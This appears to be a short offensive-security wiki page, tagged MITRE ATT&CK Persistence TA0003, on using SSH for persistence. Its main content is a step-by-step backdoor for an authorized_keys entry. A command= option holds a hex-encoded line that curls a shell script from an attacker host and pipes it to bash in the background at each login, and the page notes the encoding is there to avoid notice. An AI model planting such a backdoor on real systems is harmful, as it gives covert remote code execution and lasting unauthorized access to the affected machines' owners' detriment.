SSH for Persistence
MITRE ATT&CK™ Persistence - Tactic TA0003
Last updated
Was this helpful?
MITRE ATT&CK™ Persistence - Tactic TA0003
Last updated
Was this helpful?
SSH (Secure Shell) is a versatile and widely-used protocol that provides secure remote access to systems and services. While it serves as a fundamental tool for authorized system administration, it can also be exploited by attackers to establish persistence on compromised systems. Through various techniques, ranging from simple SSH key-based attacks to more sophisticated methods like public key backdooring, adversaries can maintain unauthorized access and evade detection.
It's possible to backdoor an SSH public key using the command= argument. The backdoor will execute whenever the user logs in using this key.
To be stealhier, we can encode the command to be executed
echo "bash -c 'curl -fsL http://attacking-domain/shell.sh|bash&'" | xxd -ps -c2048
62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270aSimply add this to the begening of the public key
no-user-rc,no-X11-forwarding,command="eval $(echo 62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270a|xxd -r -ps);" ssh-ed25519 AAAAB3Nz...
